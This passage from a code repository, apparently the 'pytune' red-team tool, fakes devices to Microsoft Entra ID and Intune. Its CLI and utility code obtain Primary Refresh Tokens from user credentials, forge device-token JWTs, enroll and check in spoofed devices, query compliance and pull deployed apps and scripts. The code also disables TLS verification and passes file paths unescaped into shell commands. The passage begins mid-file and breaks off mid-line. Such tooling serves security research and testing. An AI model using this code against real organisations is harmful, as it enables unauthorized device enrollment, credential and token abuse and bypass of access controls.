8 | from device.linux import Linux
9 | from utils.utils import deviceauth, prtauth
10 | from utils.logger import Logger
11 |
12 | version = '1.1'
13 | banner = r'''
14 | ______ __ __ ______ __ __ __ __ ______
15 | /\ == \ /\ \_\ \ /\__ _\ /\ \/\ \ /\ "-.\ \ /\ ___\
16 | \ \ _-/ \ \____ \ \/_/\ \/ \ \ \_\ \ \ \ \-. \ \ \ __\
17 | \ \_\ \/\_____\ \ \_\ \ \_____\ \ \_\\"\_\ \ \_____\
18 | \/_/ \/_____/ \/_/ \/_____/ \/_/ \/_/ \/_____/
19 |
20 | ''' + \
21 | f' Faking a device to Microsft Intune (version:{version})'
22 |
23 | class Pytune:
24 | def __init__(self, logger):
25 | self.logger = logger
26 | return
27 |
28 | def get_password(self, password):
29 | if password is None:
30 | password = getpass.getpass("Enter your password: ")
31 | return password
32 |
33 | def new_device(self, os, device_name, username, password, refresh_token, certpfx, proxy):
34 | prt = None
35 | session_key = None
36 | tenant = None
37 | deviceid = None
38 | uid = None
39 |
40 | if certpfx:
41 | if refresh_token is None:
42 | password = self.get_password(password)
43 | prt, session_key = deviceauth(username, password, refresh_token, certpfx, proxy)
44 | access_token, refresh_token = prtauth(prt, session_key, '29d9ed98-a469-4536-ade2-f981bc1d605e', 'https://enrollment.manage.microsoft.com/', 'ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS', proxy)
45 | claims = jwt.decode(access_token, options={"verify_signature":False}, algorithms=['RS256'])
46 | tenant = claims['upn'].split('@')[1]
47 | deviceid = claims['deviceid']
48 | uid = claims['oid']
49 |
50 | if os == 'Android':
51 | device = Android(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
52 | elif os == 'Windows':
53 | device = Windows(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
54 | elif os == 'Linux':
55 | device = Linux(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
56 | return device
57 |
58 | def entra_join(self, username, password, access_token, device_name, os, deviceticket, proxy):
59 | device = self.new_device(os, device_name, None, None, None, None, proxy)
60 | if access_token is None:
61 | password = self.get_password(password)
62 |
63 | device.entra_join(username, password, access_token, deviceticket)
64 | return
65 |
66 | def entra_delete(self, certpfx, proxy):
67 | device = Device(self.logger, None, None, None, None, None, None, None, proxy)
68 | device.entra_delete(certpfx)
69 | return
70 |
71 | def enroll_intune(self, os, device_name, username, password, refresh_token, certpfx, proxy):
72 | device = self.new_device(os, device_name, username, password, refresh_token, certpfx, proxy)
73 | device.enroll_intune()
74 |
75 | def checkin(self, os, device_name, username, password, refresh_token, certpfx, mdmpfx, hwhash, proxy):
76 | device = self.new_device(os, device_name, username, password, refresh_token, certpfx, proxy)
77 | device.hwhash = hwhash
78 | device.checkin(mdmpfx)
79 | return
80 |
81 | def retire_intune(self, os, username, password, refresh_token, certpfx, proxy):
82 | device = self.new_device(os, None, username, password, refresh_token, certpfx, proxy)
83 | device.retire_intune()
84 | return
85 |
86 | def check_compliant(self, os, username, password, refresh_token, certpfx, proxy):
87 | device = self.new_device(os, None, username, password, refresh_token, certpfx, proxy)
88 | device.check_compliant()
89 | return
90 |
91 | def download_apps(self, device_name, mdmpfx, proxy):
92 | device = self.new_device('Windows', device_name, None, None, None, None, proxy)
93 | device.download_apps(mdmpfx)
94 |
95 | def main():
96 | description = f"{banner}"
97 | parser = argparse.ArgumentParser(add_help=True, description=color(description, fore='deepskyblue'), formatter_class=argparse.RawDescriptionHelpFormatter)
98 | parser.add_argument('-x', '--proxy', action='store', help='proxy to be used during authentication (format: http://proxyip:port)')
99 | subparsers = parser.add_subparsers(dest='command', description='pytune commands')
100 |
101 | entra_join_parser = subparsers.add_parser('entra_join', help='join device to Entra ID')
102 | entra_join_parser.add_argument('-u', '--username', action='store', help='username')
103 | entra_join_parser.add_argument('-p', '--password', action='store', help='password')
104 | entra_join_parser.add_argument('-a', '--access_token', action='store', help='access token for device registration service')
105 | entra_join_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name')
106 | entra_join_parser.add_argument('-o', '--os', required=True, action='store', help='os')
107 | entra_join_parser.add_argument('-D', '--deviceticket', required=False, action='store', help='device ticket')
108 |
109 | entra_delete_parser = subparsers.add_parser('entra_delete', help='delete device from Entra ID')
110 | entra_delete_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path')
111 |
112 | enroll_intune_parser = subparsers.add_parser('enroll_intune', help='enroll device to Intune')
113 | enroll_intune_parser.add_argument('-u', '--username', action='store', help='username')
114 | enroll_intune_parser.add_argument('-p', '--password', action='store', help='password')
115 | enroll_intune_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service')
116 | enroll_intune_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path')
117 | enroll_intune_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name')
118 | enroll_intune_parser.add_argument('-o', '--os', required=True, action='store', help='os')
119 |
120 | checkin_parser = subparsers.add_parser('checkin', help='checkin to Intune')
121 | checkin_parser.add_argument('-u', '--username', action='store', help='username')
122 | checkin_parser.add_argument('-p', '--password', action='store', help='password')
123 | checkin_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service')
124 | checkin_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path')
125 | checkin_parser.add_argument('-m', '--mdmpfx', required=True, action='store', help='mdm pfx path')
126 | checkin_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name')
127 | checkin_parser.add_argument('-o', '--os', required=True, action='store', help='os')
128 | checkin_parser.add_argument('-H', '--hwhash', required=False, action='store', help='Autopilot hardware hash')
129 |
130 | retire_intune_parser = subparsers.add_parser('retire_intune', help='retire device from Intune')
131 | retire_intune_parser.add_argument('-u', '--username', action='store', help='username')
132 | retire_intune_parser.add_argument('-p', '--password', action='store', help='password')
133 | retire_intune_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service')
134 | retire_intune_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path')
135 | retire_intune_parser.add_argument('-o', '--os', required=True, action='store', help='os')
136 |
137 | check_compliant_parser = subparsers.add_parser('check_compliant', help='check compliant status')
138 | check_compliant_parser.add_argument('-u', '--username', action='store', help='username')
139 | check_compliant_parser.add_argument('-p', '--password', action='store', help='password')
140 | check_compliant_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service')
141 | check_compliant_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path')
142 | check_compliant_parser.add_argument('-o', '--os', required=True, action='store', help='os')
143 |
144 | download_apps_intune_parser = subparsers.add_parser('download_apps', help='download available win32apps and scripts (only Windows supported since I\'m lazy)')
145 | download_apps_intune_parser.add_argument('-m', '--mdmpfx', required=True, action='store', help='mdm pfx path')
146 | download_apps_intune_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name')
147 |
148 | args = parser.parse_args()
149 | proxy=None
150 | if args.proxy:
151 | proxy={
152 | 'https':args.proxy,
153 | 'http':args.proxy
154 | }
155 |
156 | logger = Logger()
157 | pytune = Pytune(logger)
158 |
159 | if args.command == 'entra_join':
160 | pytune.entra_join(args.username, args.password, args.access_token, args.device_name, args.os, args.deviceticket, proxy)
161 | if args.command == 'entra_delete':
162 | pytune.entra_delete(args.certpfx, proxy)
163 | if args.command == 'enroll_intune':
164 | pytune.enroll_intune(args.os, args.device_name, args.username, args.password, args.refresh_token, args.certpfx, proxy)
165 | if args.command == 'checkin':
166 | pytune.checkin(args.os, args.device_name, args.username, args.password, args.refresh_token, args.certpfx, args.mdmpfx, args.hwhash, proxy)
167 | if args.command == 'retire_intune':
168 | pytune.retire_intune(args.os, args.username, args.password, args.refresh_token, args.certpfx, proxy)
169 | if args.command == 'check_compliant':
170 | pytune.check_compliant(args.os, args.username, args.password, args.refresh_token, args.certpfx, proxy)
171 | if args.command == 'download_apps':
172 | pytune.download_apps(args.device_name, args.mdmpfx, proxy)
173 |
174 | if __name__ == "__main__":
175 | main()
176 |
177 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colr
2 | xmltodict
3 | rich
4 | roadlib
--------------------------------------------------------------------------------
/utils/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/secureworks/pytune/579a4da22f1a33b62d79c93a1bc5862190a2d28b/utils/__init__.py
--------------------------------------------------------------------------------
/utils/logger.py:
--------------------------------------------------------------------------------
1 | from rich.console import Console
2 | console = Console()
3 |
4 | class Logger(object):
5 | def __init__(self, verbosity=0, quiet=False):
6 | self.verbosity = verbosity
7 | self.quiet = quiet
8 | if verbosity == 3:
9 | exit(0)
10 | elif verbosity == 4:
11 | exit(0)
12 | elif verbosity == 5:
13 | exit(0)
14 |
15 | elif verbosity == 6:
16 | exit(0)
17 | elif verbosity > 6:
18 | exit(0)
19 |
20 | def alert(self, message):
21 | if not self.quiet:
22 | console.print("{}[!]{} {}".format("[yellow]", "[/yellow]", message), highlight=False)
23 |
24 | def debug(self, message):
25 | if self.verbosity == 2:
26 | console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False)
27 |
28 | def verbose(self, message):
29 | if self.verbosity >= 1:
30 | console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False)
31 |
32 | def info(self, message):
33 | if not self.quiet:
34 | console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False)
35 |
36 | def success(self, message):
37 | if not self.quiet:
38 | console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False)
39 |
40 | def warning(self, message):
41 | if not self.quiet:
42 | console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False)
43 |
44 | def error(self, message):
45 | if not self.quiet:
46 | console.print("{}[-]{} {}".format("[bold red]", "[/bold red]", message), highlight=False)
47 |
--------------------------------------------------------------------------------
/utils/utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import jwt
3 | import re
4 | import struct
5 | import base64
6 | import subprocess
7 | import requests
8 | import binascii
9 | from roadtools.roadlib.deviceauth import DeviceAuthentication
10 | from roadtools.roadlib.auth import Authentication
11 | from cryptography.hazmat.primitives import serialization
12 | from cryptography.hazmat.backends import default_backend
13 | from cryptography.x509 import load_pem_x509_certificate
14 | from cryptography import x509
15 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
16 |
17 | def get_nonce():
18 | response = requests.post(
19 | url=f"https://login.microsoftonline.com/645064ee-9b6e-43db-9d46-fe81a65cfdea/oauth2/token",
20 | data='grant_type=srv_challenge'
21 | )
22 | return response.json()['Nonce']
23 |
24 | def get_tenantid(domain):
25 | res = requests.get(f'https://login.microsoftonline.com/{domain}/.well-known/openid-configuration')
26 | token_endpoint = res.json()['token_endpoint']
27 | return token_endpoint.split('/')[3]
28 |
29 | def get_devicetoken(tenant, certpfx):
30 | nonce = get_nonce()
31 | tid = get_tenantid(tenant)
32 |
33 | certpath = f'device_cert.pem'
34 | keypath = f'device_key.pem'
35 | extract_pfx(certpfx, certpath, keypath)
36 |
37 | with open(certpath, "rb") as certf:
38 | certificate = x509.load_pem_x509_certificate(certf.read())
39 | with open(keypath, "rb") as keyf:
40 | keydata = keyf.read()
41 |
42 | os.remove(certpath)
43 | os.remove(keypath)
44 |
45 | certder = certificate.public_bytes(serialization.Encoding.DER)
46 | certbytes = base64.b64encode(certder)
47 |
48 | headers = {
49 | "alg": "RS256",
50 | "typ": "JWT",
51 | "x5c": certbytes.decode('utf-8'),
52 | }
53 | payload = {
54 | "resource": "https://enrollment.manage.microsoft.com/",
55 | "client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e",
56 | "request_nonce": nonce,
57 | "win_ver": "10.0.19041.1806",
58 | "grant_type": "device_token",
59 | "scope":"sid",
60 | "redirect_uri": "ms-aadj-redir://auth/mdm",
61 | "iss": "aad:brokerplugin"
62 | }
63 |
64 | reqjwt = jwt.encode(payload, algorithm='RS256', key=keydata, headers=headers)
65 |
66 | res = requests.post(
67 | url=f'https://login.microsoftonline.com/{tid}/oauth2/token',
68 | data=f'windows_api_version=2.2&grant_type=urn%3aietf%3aparams%3aoauth%3agrant-type%3ajwt-bearer&request={reqjwt}'
69 | )
70 | return res.json()['access_token']
71 |
72 | def gettokens(username, password, clientid, resource):
73 | auth = Authentication(username, password, None, clientid)
74 | auth.resource_uri = resource
75 | return auth.authenticate_username_password()
76 |
77 | def deviceauth(username, password, refresh_token, certpfx, proxy):
78 | device_auth = DeviceAuthentication()
79 | device_auth.proxies = proxy
80 | device_auth.verify = False
81 | auth = Authentication()
82 | auth.proxies = proxy
83 | auth.verify = False
84 | device_auth.auth = auth
85 |
86 | device_auth.loadcert(None, None, certpfx, 'password')
87 |
88 | if password:
89 | response = device_auth.get_prt_with_password(username, password)
90 | else:
91 | response = device_auth.get_prt_with_refresh_token(refresh_token)
92 |
93 | return response['refresh_token'], response['session_key']
94 |
95 | def prtauth(prt, session_key, client_id, resource, redirect_uri, proxy):
96 | device_auth = DeviceAuthentication()
97 | device_auth.proxies = proxy
98 | device_auth.verify = False
99 | auth = Authentication()
100 | auth.proxies = proxy
101 | auth.verify = False
102 | device_auth.auth = auth
103 |
104 | device_auth.prt = prt
105 | device_auth.session_key = binascii.unhexlify(session_key)
106 | res = device_auth.aad_brokerplugin_prt_auth(
107 | client_id=client_id,
108 | resource=resource,
109 | redirect_uri=redirect_uri,
110 | )
111 |
112 | if 'error' in res.keys():
113 | print(res['error_description'])
114 | return None
115 |
116 | return res['access_token'], res['refresh_token']
117 |
118 | def renew_token(refresh_token, client_id, scope, proxy):
119 | data = {
120 | 'client_id':client_id,
121 | 'grant_type':'refresh_token',
122 | 'refresh_token':refresh_token,
123 | 'scope':scope
124 | }
125 |
126 | response = requests.post(
127 | "https://login.microsoftonline.com/common/oAuth2/v2.0/token",
128 | data=data,
129 | proxies=proxy,
130 | verify=False
131 | )
132 | json = response.json()
133 | return json['access_token']
134 |
135 | def token_renewal_for_enrollment(url, access_token, proxy):
136 | headers = {'Authorization': 'Bearer {}'.format(access_token)}
137 |
138 | response = requests.get(
139 | url=f"{url}?api-version=1.0",
140 | headers=headers,
141 | proxies=proxy,
142 | verify=False
143 | )
144 |
145 | return response.json()['Result']['Token']
146 |
147 | def create_pfx(certpath, keypath, pfxpath):
148 | with open(certpath, 'rb') as public_key_file:
149 | cert_bytes = public_key_file.read()
150 |
151 | with open(keypath, 'rb') as private_key_file:
152 | key_bytes = private_key_file.read()
153 |
154 | certificate = load_pem_x509_certificate(cert_bytes, default_backend())
155 | private_key = serialization.load_pem_private_key(key_bytes, None, default_backend())
156 |
157 | pfx = serialization.pkcs12.serialize_key_and_certificates(
158 | pfxpath.encode('utf-8'),
159 | private_key,
160 | certificate,
161 | None,
162 | serialization.BestAvailableEncryption(b'password')
163 | )
164 |
165 | with open(pfxpath, 'wb') as outfile:
166 | outfile.write(pfx)
167 |
168 | return
169 |
170 | def extract_pfx(pfxpath, certpath, keypath):
171 | subprocess.run(f'openssl pkcs12 -in {pfxpath} -nodes -password pass:password -out {certpath} -clcerts', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
172 | subprocess.run(f'openssl pkcs12 -in {pfxpath} -nodes -password pass:password -out {keypath} -nocerts -nodes', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
173 | return
174 |
175 | def get_str_and_next(blob, start):
176 | str_size = (struct.unpack('